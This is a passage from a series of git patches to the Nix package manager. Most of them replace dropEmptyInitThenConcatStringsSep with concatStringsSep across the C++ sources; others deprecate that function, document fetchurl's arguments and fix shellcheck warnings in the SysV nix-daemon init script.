+#include "strings-inline.hh" namespace nix { @@ -83,7 +84,7 @@ std::string OutputsSpec::to_string() const return "*"; }, [&](const OutputsSpec::Names & outputNames) -> std::string { - return dropEmptyInitThenConcatStringsSep(",", outputNames); + return concatStringsSep(",", outputNames); }, }, raw); } diff --git a/src/libstore/path-with-outputs.cc b/src/libstore/path-with-outputs.cc index 5fa38d5d9..161d023d1 100644 --- a/src/libstore/path-with-outputs.cc +++ b/src/libstore/path-with-outputs.cc @@ -1,7 +1,9 @@ +#include + #include "path-with-outputs.hh" #include "store-api.hh" +#include "strings.hh" -#include namespace nix { @@ -9,7 +11,7 @@ std::string StorePathWithOutputs::to_string(const StoreDirConfig & store) const { return outputs.empty() ? store.printStorePath(path) - : store.printStorePath(path) + "!" + dropEmptyInitThenConcatStringsSep(",", outputs); + : store.printStorePath(path) + "!" + concatStringsSep(",", outputs); } From f1966e22d9e959b6885bd9270d2789b484690aa8 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 01:02:30 +0200 Subject: [PATCH 1061/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: store paths are not empty --- src/libstore/build/derivation-goal.cc | 4 +++- src/libstore/path-info.cc | 3 ++- src/libstore/store-api.cc | 4 +++- src/nix/profile.cc | 2 +- 4 files changed, 9 insertions(+), 4 deletions(-) diff --git a/src/libstore/build/derivation-goal.cc b/src/libstore/build/derivation-goal.cc index 99d9cceda..f795b05a1 100644 --- a/src/libstore/build/derivation-goal.cc +++ b/src/libstore/build/derivation-goal.cc @@ -32,6 +32,8 @@ #include +#include "strings.hh" + namespace nix { DerivationGoal::DerivationGoal(const StorePath & drvPath, @@ -895,7 +897,7 @@ void runPostBuildHook( std::map hookEnvironment = getEnv(); hookEnvironment.emplace("DRV_PATH", store.printStorePath(drvPath)); - hookEnvironment.emplace("OUT_PATHS", chomp(dropEmptyInitThenConcatStringsSep(" ", store.printStorePathSet(outputPaths)))); + hookEnvironment.emplace("OUT_PATHS", chomp(concatStringsSep(" ", store.printStorePathSet(outputPaths)))); hookEnvironment.emplace("NIX_CONFIG", globalConfig.toKeyValue()); struct LogSink : Sink { diff --git a/src/libstore/path-info.cc b/src/libstore/path-info.cc index a13bb8bef..6e87e60f4 100644 --- a/src/libstore/path-info.cc +++ b/src/libstore/path-info.cc @@ -4,6 +4,7 @@ #include "store-api.hh" #include "json-utils.hh" #include "comparator.hh" +#include "strings.hh" namespace nix { @@ -30,7 +31,7 @@ std::string ValidPathInfo::fingerprint(const Store & store) const "1;" + store.printStorePath(path) + ";" + narHash.to_string(HashFormat::Nix32, true) + ";" + std::to_string(narSize) + ";" - + dropEmptyInitThenConcatStringsSep(",", store.printStorePathSet(references)); + + concatStringsSep(",", store.printStorePathSet(references)); } diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 6904996b5..2c4dee518 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -22,6 +22,8 @@ #include #include +#include "strings.hh" + using json = nlohmann::json; namespace nix { @@ -1208,7 +1210,7 @@ std::string StoreDirConfig::showPaths(const StorePathSet & paths) std::string showPaths(const PathSet & paths) { - return dropEmptyInitThenConcatStringsSep(", ", quoteStrings(paths)); + return concatStringsSep(", ", quoteStrings(paths)); } diff --git a/src/nix/profile.cc b/src/nix/profile.cc index 548a793d8..1096f4386 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -815,7 +815,7 @@ struct CmdProfileList : virtual EvalCommand, virtual StoreCommand, MixDefaultPro logger->cout("Original flake URL: %s", element.source->originalRef.to_string()); logger->cout("Locked flake URL: %s", element.source->lockedRef.to_string()); } - logger->cout("Store paths: %s", dropEmptyInitThenConcatStringsSep(" ", store->printStorePathSet(element.storePaths))); + logger->cout("Store paths: %s", concatStringsSep(" ", store->printStorePathSet(element.storePaths))); } } } From e64643bf6372af1ee7f56ac602f25564201df7f0 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 01:12:28 +0200 Subject: [PATCH 1062/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: feature should not be empty (System) features are unlikely to be empty strings, but when they come in through structuredAttrs, they probably can. I don't think this means we should drop them, but most likely they will be dropped after this because next time they'll be parsed with tokenizeString. TODO: We should forbid empty features. --- src/libstore/unix/build/local-derivation-goal.cc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 523fe07e7..c3a65e34b 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -498,10 +498,10 @@ void LocalDerivationGoal::startBuilder() if (!parsedDrv->canBuildLocally(worker.store)) throw Error("a '%s' with features {%s} is required to build '%s', but I am a '%s' with features {%s}", drv->platform, - dropEmptyInitThenConcatStringsSep(", ", parsedDrv->getRequiredSystemFeatures()), + concatStringsSep(", ", parsedDrv->getRequiredSystemFeatures()), worker.store.printStorePath(drvPath), settings.thisSystem, - dropEmptyInitThenConcatStringsSep(", ", worker.store.systemFeatures)); + concatStringsSep(", ", worker.store.systemFeatures)); /* Create a temporary directory where the build will take place. */ From 3b77f134515866f28cc7b7ddb06274fccc5766f9 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 01:16:33 +0200 Subject: [PATCH 1063/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: experimental features do not render as empty strings --- src/libutil/config.cc | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/libutil/config.cc b/src/libutil/config.cc index 81ec9a4c3..25bfe462f 100644 --- a/src/libutil/config.cc +++ b/src/libutil/config.cc @@ -9,6 +9,8 @@ #include +#include "strings.hh" + namespace nix { Config::Config(StringMap initials) @@ -362,7 +364,7 @@ template<> std::string BaseSetting>::to_string() c StringSet stringifiedXpFeatures; for (const auto & feature : value) stringifiedXpFeatures.insert(std::string(showExperimentalFeature(feature))); - return dropEmptyInitThenConcatStringsSep(" ", stringifiedXpFeatures); + return concatStringsSep(" ", stringifiedXpFeatures); } template<> StringMap BaseSetting::parse(const std::string & str) const From 837c3612d40c1e33be94080b9b2063c3ca0795ed Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 01:20:20 +0200 Subject: [PATCH 1064/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: escaped shell args are never empty --- src/nix/develop.cc | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/nix/develop.cc b/src/nix/develop.cc index 807c75d4a..7cc0965a9 100644 --- a/src/nix/develop.cc +++ b/src/nix/develop.cc @@ -19,6 +19,8 @@ #include #include +#include "strings.hh" + using namespace nix; struct DevelopSettings : Config @@ -608,7 +610,7 @@ struct CmdDevelop : Common, MixEnvironment std::vector args; for (auto s : command) args.push_back(shellEscape(s)); - script += fmt("exec %s\n", dropEmptyInitThenConcatStringsSep(" ", args)); + script += fmt("exec %s\n", concatStringsSep(" ", args)); } else { From 4b34feb4c2fded8b4ca0968f33f0e34514520b1a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 01:22:51 +0200 Subject: [PATCH 1065/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: system string should not be empty --- src/nix/flake.cc | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 3ee2b1838..1ed071ec8 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -21,6 +21,8 @@ #include #include +#include "strings-inline.hh" + using namespace nix; using namespace nix::flake; using json = nlohmann::json; @@ -802,10 +804,11 @@ struct CmdFlakeCheck : FlakeCommand throw Error("some errors were encountered during the evaluation"); if (!omittedSystems.empty()) { + // TODO: empty system is not visible; render all as nix strings? warn( "The check omitted these incompatible systems: %s\n" "Use '--all-systems' to check all.", - dropEmptyInitThenConcatStringsSep(", ", omittedSystems) + concatStringsSep(", ", omittedSystems) ); }; }; From 0480bfe50bf1deb3b5c93761f7fbba1bc59ef059 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 01:23:44 +0200 Subject: [PATCH 1066/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: do not drop attributes with empty names Empty attributes are probably not well supported, but the least we could do is leave a hint. Attribute path rendering and parsing should be done according to Nix expression syntax in my opinion. --- src/nix/flake.cc | 8 ++++---- src/nix/search.cc | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 1ed071ec8..3f9f8f99b 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -1214,7 +1214,7 @@ struct CmdFlakeShow : FlakeCommand, MixJSON auto attrPathS = state->symbols.resolve(attrPath); Activity act(*logger, lvlInfo, actUnknown, - fmt("evaluating '%s'", dropEmptyInitThenConcatStringsSep(".", attrPathS))); + fmt("evaluating '%s'", concatStringsSep(".", attrPathS))); try { auto recurse = [&]() @@ -1294,7 +1294,7 @@ struct CmdFlakeShow : FlakeCommand, MixJSON if (!json) logger->cout(fmt("%s " ANSI_WARNING "omitted" ANSI_NORMAL " (use '--all-systems' to show)", headerPrefix)); else { - logger->warn(fmt("%s omitted (use '--all-systems' to show)", dropEmptyInitThenConcatStringsSep(".", attrPathS))); + logger->warn(fmt("%s omitted (use '--all-systems' to show)", concatStringsSep(".", attrPathS))); } } else { if (visitor.isDerivation()) @@ -1318,13 +1318,13 @@ struct CmdFlakeShow : FlakeCommand, MixJSON if (!json) logger->cout(fmt("%s " ANSI_WARNING "omitted" ANSI_NORMAL " (use '--legacy' to show)", headerPrefix)); else { - logger->warn(fmt("%s omitted (use '--legacy' to show)", dropEmptyInitThenConcatStringsSep(".", attrPathS))); + logger->warn(fmt("%s omitted (use '--legacy' to show)", concatStringsSep(".", attrPathS))); } } else if (!showAllSystems && std::string(attrPathS[1]) != localSystem) { if (!json) logger->cout(fmt("%s " ANSI_WARNING "omitted" ANSI_NORMAL " (use '--all-systems' to show)", headerPrefix)); else { - logger->warn(fmt("%s omitted (use '--all-systems' to show)", dropEmptyInitThenConcatStringsSep(".", attrPathS))); + logger->warn(fmt("%s omitted (use '--all-systems' to show)", concatStringsSep(".", attrPathS))); } } else { if (visitor.isDerivation()) diff --git a/src/nix/search.cc b/src/nix/search.cc index 7c46f9fec..7f8504d3f 100644 --- a/src/nix/search.cc +++ b/src/nix/search.cc @@ -117,7 +117,7 @@ struct CmdSearch : InstallableValueCommand, MixJSON auto aDescription = aMeta ? aMeta->maybeGetAttr(state->sDescription) : nullptr; auto description = aDescription ? aDescription->getString() : ""; std::replace(description.begin(), description.end(), '\n', ' '); - auto attrPath2 = dropEmptyInitThenConcatStringsSep(".", attrPathS); + auto attrPath2 = concatStringsSep(".", attrPathS); std::vector attrPathMatches; std::vector descriptionMatches; From 062672b022a35fb0251e37cc0f428778d82fb934 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 01:27:59 +0200 Subject: [PATCH 1067/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: CLI commands are not empty --- src/nix/main.cc | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/nix/main.cc b/src/nix/main.cc index aa4ced623..21d364a18 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -41,6 +41,8 @@ extern std::string chrootHelperName; void chrootHelper(int argc, char * * argv); #endif +#include "strings.hh" + namespace nix { enum struct AliasStatus { @@ -185,7 +187,7 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs, virtual RootArgs auto & info = i->second; if (info.status == AliasStatus::Deprecated) { warn("'%s' is a deprecated alias for '%s'", - arg, dropEmptyInitThenConcatStringsSep(" ", info.replacement)); + arg, concatStringsSep(" ", info.replacement)); } pos = args.erase(pos); for (auto j = info.replacement.rbegin(); j != info.replacement.rend(); ++j) From d9043021dfc4b7238f538c8064a3587a6a8d473d Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 01:29:15 +0200 Subject: [PATCH 1068/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: break nix help "" "" "" build Garbage in, error out. Experimental CLI. Zero derivations given. --- src/nix/main.cc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/nix/main.cc b/src/nix/main.cc index 21d364a18..00ad6fe2c 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -240,7 +240,7 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs, virtual RootArgs lowdown. */ static void showHelp(std::vector subcommand, NixArgs & toplevel) { - auto mdName = subcommand.empty() ? "nix" : fmt("nix3-%s", dropEmptyInitThenConcatStringsSep("-", subcommand)); + auto mdName = subcommand.empty() ? "nix" : fmt("nix3-%s", concatStringsSep("-", subcommand)); evalSettings.restrictEval = false; evalSettings.pureEval = false; @@ -275,7 +275,7 @@ static void showHelp(std::vector subcommand, NixArgs & toplevel) auto attr = vRes->attrs()->get(state.symbols.create(mdName + ".md")); if (!attr) - throw UsageError("Nix has no subcommand '%s'", dropEmptyInitThenConcatStringsSep("", subcommand)); + throw UsageError("Nix has no subcommand '%s'", concatStringsSep("", subcommand)); auto markdown = state.forceString(*attr->value, noPos, "while evaluating the lowdown help text"); From cf3c5cd189b5818e837f308507db3e92a81d66d0 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 01:34:41 +0200 Subject: [PATCH 1069/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: showVersions version is not empty --- src/nix/diff-closures.cc | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/nix/diff-closures.cc b/src/nix/diff-closures.cc index 9e5a7e4c3..46c94b211 100644 --- a/src/nix/diff-closures.cc +++ b/src/nix/diff-closures.cc @@ -6,6 +6,8 @@ #include +#include "strings.hh" + namespace nix { struct Info @@ -49,7 +51,7 @@ std::string showVersions(const std::set & versions) std::set versions2; for (auto & version : versions) versions2.insert(version.empty() ? "ε" : version); - return dropEmptyInitThenConcatStringsSep(", ", versions2); + return concatStringsSep(", ", versions2); } void printClosureDiff( From 0fe3525223976e1c0ad047cc706da66208214fb5 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 01:39:06 +0200 Subject: [PATCH 1070/1251] illegal configuration line -> syntax error in configuration line The law has nothing to do with this, although I do feel like a badass when I mess with the config. I'm a conf artist. --- src/libutil/config.cc | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/libutil/config.cc b/src/libutil/config.cc index 25bfe462f..b3e2d1a48 100644 --- a/src/libutil/config.cc +++ b/src/libutil/config.cc @@ -116,7 +116,7 @@ static void parseConfigFiles(const std::string & contents, const std::string & p if (tokens.empty()) continue; if (tokens.size() < 2) - throw UsageError("illegal configuration line '%1%' in '%2%'", line, path); + throw UsageError("syntax error in configuration line '%1%' in '%2%'", line, path); auto include = false; auto ignoreMissing = false; @@ -129,7 +129,7 @@ static void parseConfigFiles(const std::string & contents, const std::string & p if (include) { if (tokens.size() != 2) - throw UsageError("illegal configuration line '%1%' in '%2%'", line, path); + throw UsageError("syntax error in configuration line '%1%' in '%2%'", line, path); auto p = absPath(tokens[1], dirOf(path)); if (pathExists(p)) { try { @@ -145,7 +145,7 @@ static void parseConfigFiles(const std::string & contents, const std::string & p } if (tokens[1] != "=") - throw UsageError("illegal configuration line '%1%' in '%2%'", line, path); + throw UsageError("syntax error in configuration line '%1%' in '%2%'", line, path); std::string name = std::move(tokens[0]); From 4029426ca8e8d48a74222d2058ff152d7fd36027 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 01:41:49 +0200 Subject: [PATCH 1071/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: tokens from tokenizeString are not empty --- src/libutil/config.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libutil/config.cc b/src/libutil/config.cc index b3e2d1a48..6d929b7f7 100644 --- a/src/libutil/config.cc +++ b/src/libutil/config.cc @@ -154,7 +154,7 @@ static void parseConfigFiles(const std::string & contents, const std::string & p parsedContents.push_back({ std::move(name), - dropEmptyInitThenConcatStringsSep(" ", Strings(i, tokens.end())), + concatStringsSep(" ", Strings(i, tokens.end())), }); }; } From 9ca42d5da20cbbb76cd2f35f2a442d70505bf862 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 01:43:11 +0200 Subject: [PATCH 1072/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: setting value was already harmed Considering that `value` was probably parsed with tokenizeString prior, it's unlikely to contain empty strings, and we have no reason to remove them either. --- src/libutil/config.cc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libutil/config.cc b/src/libutil/config.cc index 6d929b7f7..726e5091e 100644 --- a/src/libutil/config.cc +++ b/src/libutil/config.cc @@ -320,7 +320,7 @@ template<> void BaseSetting::appendOrSet(Strings newValue, bool append) template<> std::string BaseSetting::to_string() const { - return dropEmptyInitThenConcatStringsSep(" ", value); + return concatStringsSep(" ", value); } template<> StringSet BaseSetting::parse(const std::string & str) const @@ -336,7 +336,7 @@ template<> void BaseSetting::appendOrSet(StringSet newValue, bool app template<> std::string BaseSetting::to_string() const { - return dropEmptyInitThenConcatStringsSep(" ", value); + return concatStringsSep(" ", value); } template<> std::set BaseSetting>::parse(const std::string & str) const From 76b2d5ef3ddd876fbe825f5804f1331dfcf2ecfe Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 01:49:34 +0200 Subject: [PATCH 1073/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: PATH handling It's still wrong, but one step closer to correct. Not that anyone should use "" or "." in their PATH, but that is not for us to intervene. --- src/nix/env.cc | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/nix/env.cc b/src/nix/env.cc index 7cc019c1d..bc4e1b5e5 100644 --- a/src/nix/env.cc +++ b/src/nix/env.cc @@ -3,6 +3,7 @@ #include "command.hh" #include "run.hh" +#include "strings.hh" using namespace nix; @@ -92,9 +93,10 @@ struct CmdShell : InstallablesCommand, MixEnvironment } } + // TODO: split losslessly; empty means . auto unixPath = tokenizeString(getEnv("PATH").value_or(""), ":"); unixPath.insert(unixPath.begin(), pathAdditions.begin(), pathAdditions.end()); - auto unixPathString = dropEmptyInitThenConcatStringsSep(":", unixPath); + auto unixPathString = concatStringsSep(":", unixPath); setEnv("PATH", unixPathString.c_str()); Strings args; From 6b2c277c363f59b0e200882644deb5d0e658ec20 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 01:51:50 +0200 Subject: [PATCH 1074/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: sigs are not empty ... but if they are, I'd like to see at least a hint of it so that I'd know to fix it. --- src/nix/path-info.cc | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/nix/path-info.cc b/src/nix/path-info.cc index 2383fbe08..e7cfb6e7a 100644 --- a/src/nix/path-info.cc +++ b/src/nix/path-info.cc @@ -9,6 +9,8 @@ #include +#include "strings.hh" + using namespace nix; using nlohmann::json; @@ -185,7 +187,7 @@ struct CmdPathInfo : StorePathsCommand, MixJSON if (info->ultimate) ss.push_back("ultimate"); if (info->ca) ss.push_back("ca:" + renderContentAddress(*info->ca)); for (auto & sig : info->sigs) ss.push_back(sig); - std::cout << dropEmptyInitThenConcatStringsSep(" ", ss); + std::cout << concatStringsSep(" ", ss); } std::cout << std::endl; From 1c97718146264de4c4bc6e1694774da5d5b31188 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 02:16:13 +0200 Subject: [PATCH 1075/1251] dropEmptyInitThenConcatStringsSep: Allow it to drop items again It's usually harmless, if it occurs at all. --- src/libutil/util.hh | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/src/libutil/util.hh b/src/libutil/util.hh index c545afd9e..b653bf115 100644 --- a/src/libutil/util.hh +++ b/src/libutil/util.hh @@ -41,11 +41,13 @@ std::string dropEmptyInitThenConcatStringsSep(const std::string_view sep, const { size_t size = 0; - for (auto & i : ss) { - // Make sure we don't rely on the empty item ignoring behavior - assert(!i.empty()); - break; - } + // TODO? remove to make sure we don't rely on the empty item ignoring behavior, + // or just get rid of this function by understanding the remaining calls. + // for (auto & i : ss) { + // // Make sure we don't rely on the empty item ignoring behavior + // assert(!i.empty()); + // break; + // } // need a cast to string_view since this is also called with Symbols for (const auto & s : ss) size += sep.size() + std::string_view(s).size(); From d40fdb5711e8f7c7dff88f611d5bc26d37ba79e9 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 14 Jul 2024 11:50:14 +0200 Subject: [PATCH 1076/1251] dropEmptyInitThenConcatStringsSep: Update doc and deprecate --- src/libutil/util.hh | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/src/libutil/util.hh b/src/libutil/util.hh index b653bf115..971ecf63b 100644 --- a/src/libutil/util.hh +++ b/src/libutil/util.hh @@ -33,10 +33,14 @@ template C tokenizeString(std::string_view s, std::string_view separato /** - * Concatenate the given strings with a separator between the - * elements. + * Ignore any empty strings at the start of the list, and then concatenate the + * given strings with a separator between the elements. + * + * @deprecated This function exists for historical reasons. You probably just + * want to use `concatStringsSep`. */ template +[[deprecated("Consider removing the empty string dropping behavior. If acceptable, use concatStringsSep instead.")]] std::string dropEmptyInitThenConcatStringsSep(const std::string_view sep, const C & ss) { size_t size = 0; From 97e01107ecf4d5cea97bd20423409ba2a112612c Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 14 Jul 2024 11:51:53 +0200 Subject: [PATCH 1077/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: empty separator When the separator is empty, no difference is observable. Note that concatStringsSep has centralized definitions. This adds the required definitions. Alternatively, `strings-inline.hh` could be included at call sites. --- src/libutil/strings.cc | 7 +++++++ src/libutil/util.hh | 4 +++- 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/src/libutil/strings.cc b/src/libutil/strings.cc index 15937d415..7ec618bf4 100644 --- a/src/libutil/strings.cc +++ b/src/libutil/strings.cc @@ -9,4 +9,11 @@ template std::string concatStringsSep(std::string_view, const Strings &); template std::string concatStringsSep(std::string_view, const StringSet &); template std::string concatStringsSep(std::string_view, const std::vector &); +typedef std::string_view strings_2[2]; +template std::string concatStringsSep(std::string_view, const strings_2 &); +typedef std::string_view strings_3[3]; +template std::string concatStringsSep(std::string_view, const strings_3 &); +typedef std::string_view strings_4[4]; +template std::string concatStringsSep(std::string_view, const strings_4 &); + } // namespace nix diff --git a/src/libutil/util.hh b/src/libutil/util.hh index 971ecf63b..877d15279 100644 --- a/src/libutil/util.hh +++ b/src/libutil/util.hh @@ -11,6 +11,8 @@ #include #include +#include "strings.hh" + namespace nix { void initLibUtil(); @@ -69,7 +71,7 @@ auto concatStrings(Parts && ... parts) -> std::enable_if_t<(... && std::is_convertible_v), std::string> { std::string_view views[sizeof...(parts)] = { parts... }; - return dropEmptyInitThenConcatStringsSep({}, views); + return concatStringsSep({}, views); } From 7e604f716cd3a4bcd47407bda27874262212dcbc Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 14 Jul 2024 12:19:55 +0200 Subject: [PATCH 1078/1251] concatStrings: Give compiler access to definition for inlining ... at call sites that are may be in the hot path. I do not know how clever the compiler gets at these sites. My primary concern is to not regress performance and I am confident that this achieves it the easy way. --- src/libexpr/eval.cc | 2 ++ src/libexpr/nixexpr.cc | 2 ++ src/libstore/derivations.cc | 2 ++ src/libutil/canon-path.cc | 1 + src/libutil/file-system.cc | 2 ++ 5 files changed, 9 insertions(+) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 2ede55de7..a4cf2e8c8 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -49,6 +49,8 @@ #endif +#include "strings-inline.hh" + using json = nlohmann::json; namespace nix { diff --git a/src/libexpr/nixexpr.cc b/src/libexpr/nixexpr.cc index 816389165..c1ffe3435 100644 --- a/src/libexpr/nixexpr.cc +++ b/src/libexpr/nixexpr.cc @@ -7,6 +7,8 @@ #include #include +#include "strings-inline.hh" + namespace nix { unsigned long Expr::nrExprs = 0; diff --git a/src/libstore/derivations.cc b/src/libstore/derivations.cc index 6dfcc408c..8f9c71851 100644 --- a/src/libstore/derivations.cc +++ b/src/libstore/derivations.cc @@ -10,6 +10,8 @@ #include #include +#include "strings-inline.hh" + namespace nix { std::optional DerivationOutput::path(const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName) const diff --git a/src/libutil/canon-path.cc b/src/libutil/canon-path.cc index 27f048697..03db6378a 100644 --- a/src/libutil/canon-path.cc +++ b/src/libutil/canon-path.cc @@ -1,6 +1,7 @@ #include "canon-path.hh" #include "util.hh" #include "file-path-impl.hh" +#include "strings-inline.hh" namespace nix { diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index f75851bbd..9042e3a5e 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -23,6 +23,8 @@ # include #endif +#include "strings-inline.hh" + namespace fs = std::filesystem; namespace nix { From a4ce96e5f1e78537e650025870011f6fa2ba7e3c Mon Sep 17 00:00:00 2001 From: Farid Zakaria Date: Sun, 14 Jul 2024 19:07:18 -0700 Subject: [PATCH 1079/1251] doc: Add comment for fetchurl for name & url fetchurl can be given a name and url aside from just the url. Giving a name can be useful if the url has invalid characters such as tilde for the store. --- src/libexpr/primops/fetchTree.cc | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index 6a7accad7..a9956ad88 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -529,9 +529,20 @@ static void prim_fetchurl(EvalState & state, const PosIdx pos, Value * * args, V static RegisterPrimOp primop_fetchurl({ .name = "__fetchurl", - .args = {"url"}, + .args = {"args"}, .doc = R"( - Download the specified URL and return the path of the downloaded file. + If args is a URL, return the path of the downloaded file. + Otherwise, it can be an attribute with the following attributes + (all except url are optional): + + - `url` + + The URL of the file to download. + + - `name` (default: `url without the protocol`) + + A name for the file in the store. This can be useful if the URL has any + characters that are invalid for the store. Not available in [restricted evaluation mode](@docroot@/command-ref/conf-file.md#conf-restrict-eval). )", From bc801e2c593c79cf234e6980d026d4e7de1e4f5f Mon Sep 17 00:00:00 2001 From: Farid Zakaria Date: Sun, 14 Jul 2024 19:55:02 -0700 Subject: [PATCH 1080/1251] lint: fix shellcheck for misc/systemv/nix-daemon Got shellcheck passing for misc/systemv/nix-daemon Not sure how to test this since it's not running on my NixOS machine and I see no references to it in the directory otherwise. See #10795 --- flake.nix | 1 + misc/systemv/nix-daemon | 17 ++++++++++++----- 2 files changed, 13 insertions(+), 5 deletions(-) diff --git a/flake.nix b/flake.nix index d83c2ecad..51dbc3091 100644 --- a/flake.nix +++ b/flake.nix @@ -324,6 +324,7 @@ ++ pkgs.nixComponents.nix-external-api-docs.nativeBuildInputs ++ [ pkgs.buildPackages.cmake + pkgs.shellcheck modular.pre-commit.settings.package (pkgs.writeScriptBin "pre-commit-hooks-install" modular.pre-commit.settings.installationScript) diff --git a/misc/systemv/nix-daemon b/misc/systemv/nix-daemon index fea537167..e8326f947 100755 --- a/misc/systemv/nix-daemon +++ b/misc/systemv/nix-daemon @@ -34,6 +34,7 @@ else fi # Source function library. +# shellcheck source=/dev/null . /etc/init.d/functions LOCKFILE=/var/lock/subsys/nix-daemon @@ -41,14 +42,20 @@ RUNDIR=/var/run/nix PIDFILE=${RUNDIR}/nix-daemon.pid RETVAL=0 -base=${0##*/} +# https://www.shellcheck.net/wiki/SC3004 +# Check if gettext exists +if ! type gettext > /dev/null 2>&1 +then + # If not, create a dummy function that returns the input verbatim + gettext() { printf '%s' "$1"; } +fi start() { mkdir -p ${RUNDIR} chown ${NIX_DAEMON_USER}:${NIX_DAEMON_USER} ${RUNDIR} - echo -n $"Starting nix daemon... " + printf '%s' "$(gettext 'Starting nix daemon... ')" daemonize -u $NIX_DAEMON_USER -p ${PIDFILE} $NIX_DAEMON_BIN $NIX_DAEMON_OPTS RETVAL=$? @@ -58,7 +65,7 @@ start() { } stop() { - echo -n $"Shutting down nix daemon: " + printf '%s' "$(gettext 'Shutting down nix daemon: ')" killproc -p ${PIDFILE} $NIX_DAEMON_BIN RETVAL=$? [ $RETVAL -eq 0 ] && rm -f ${LOCKFILE} ${PIDFILE} @@ -67,7 +74,7 @@ stop() { } reload() { - echo -n $"Reloading nix daemon... " + printf '%s' "$(gettext 'Reloading nix daemon... ')" killproc -p ${PIDFILE} $NIX_DAEMON_BIN -HUP RETVAL=$? echo @@ -105,7 +112,7 @@ case "$1" in fi ;; *) - echo $"Usage: $0 {start|stop|status|restart|condrestart}" + printf '%s' "$(gettext "Usage: $0 {start|stop|status|restart|condrestart}")" exit 2 ;; esac From 104aba0fad44c0cf6f2b65bbd753c09226ca1d0c Mon Sep 17 00:00:00 2001 From: Farid Zakaria Date: Sun, 14 Jul 2024 19:57:55 -0700 Subject: [PATCH 1081/1251] Remove nix-daemon from exclusion --- maintainers/flake-module.nix | 1 - 1 file changed, 1 deletion(-) diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index 46b3e1363..7fbc2d2d2 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -495,7 +495,6 @@ excludes = [ # We 